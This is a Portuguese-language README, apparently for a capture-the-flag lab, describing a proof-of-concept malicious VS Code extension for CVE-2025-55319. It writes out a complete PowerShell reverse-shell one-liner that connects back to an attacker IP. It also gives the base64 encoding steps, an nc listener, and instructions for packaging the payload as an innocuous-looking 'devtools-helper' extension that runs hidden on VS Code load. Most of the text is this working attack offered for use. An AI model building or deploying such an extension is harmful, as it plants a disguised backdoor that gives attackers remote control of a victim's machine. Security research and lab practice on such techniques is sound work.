
PoC for CVE-2025-55319
Referência: CVE-2025-55319
Extensão de prova de conceito para VS Code (.vsix) para o desafio HTB "Checkpoint".
Uma vez instalada, a extensão se ativa automaticamente e gera um shell reverso oculto do PowerShell de volta ao atacante.
⚠️ Apenas uso autorizado. Este é um artefato de CTF/laboratório. Implemente apenas contra máquinas que você possui ou que esteja explicitamente autorizado a testar (ex.: uma máquina alvo HTB).
extension/package.json — manifesto da extensão. "activationEvents": ["*"] faz com que seja executada no momento em que o VS Code carrega, sem interação do usuário.extension/extension.js — ao activate(), executa um payload PowerShell codificado em base64 com -WindowStyle Hidden -NoProfile para um shell reverso silencioso.[Content_Types].xml — manifesto de tipo de conteúdo OpenXML para que a pasta possa ser zipada em um pacote .vsix válido..
├── [Content_Types].xml # Manifesto de tipo de conteúdo VSIX
└── extension/
├── package.json # Manifesto da extensão (ativa em "*")
└── extension.js # Payload do shell reverso
Gere um shell reverso PowerShell codificado em base64 (UTF-16LE) apontando para sua máquina atacante:
LHOST=10.10.15.158
LPORT=4443
PS="\$c=New-Object System.Net.Sockets.TCPClient('$LHOST',$LPORT);\$s=\$c.GetStream();[byte[]]\$b=0..65535|%{0};while((\$i=\$s.Read(\$b,0,\$b.Length)) -ne 0){\$d=(New-Object System.Text.ASCIIEncoding).GetString(\$b,0,\$i);\$r=(iex \$d 2>&1|Out-String);\$sb=([text.encoding]::ASCII).GetBytes(\$r+'PS> ');\$s.Write(\$sb,0,\$sb.Length);\$s.Flush()}"
echo -n "$PS" | iconv -t UTF-16LE | base64 -w0
Cole a saída sobre YOUR_BASE64_PAYLOAD_HERE em extension/extension.js:
const payload = '<base64-blob-here>'
nc -lvnp 4443
Um .vsix é apenas um ZIP com a pasta extension/ mais o manifesto na raiz:
# a partir deste diretório
zip -r devtools-helper.vsix extension "[Content_Types].xml"
Faça o alvo instalar a extensão. Opções:
code --install-extension devtools-helper.vsix··· → Instalar do VSIX…No próximo lançamento do VS Code (ou imediatamente após a instalação), o evento de ativação * dispara, o payload é executado e seu listener recebe o shell.
$ nc -lvnp 4443
listening on [any] 4443 ...
connect to [10.10.15.158] from ...
PS>
Remova a extensão do alvo quando terminar:
code --uninstall-extension devtools.devtools-helper
extension.js para outras plataformas.os é importado em extension.js mas não utilizado — útil se você quiser ramificar em os.platform() para suportar alvos Linux/macOS.version em package.json entre compilações se você re-empacotar.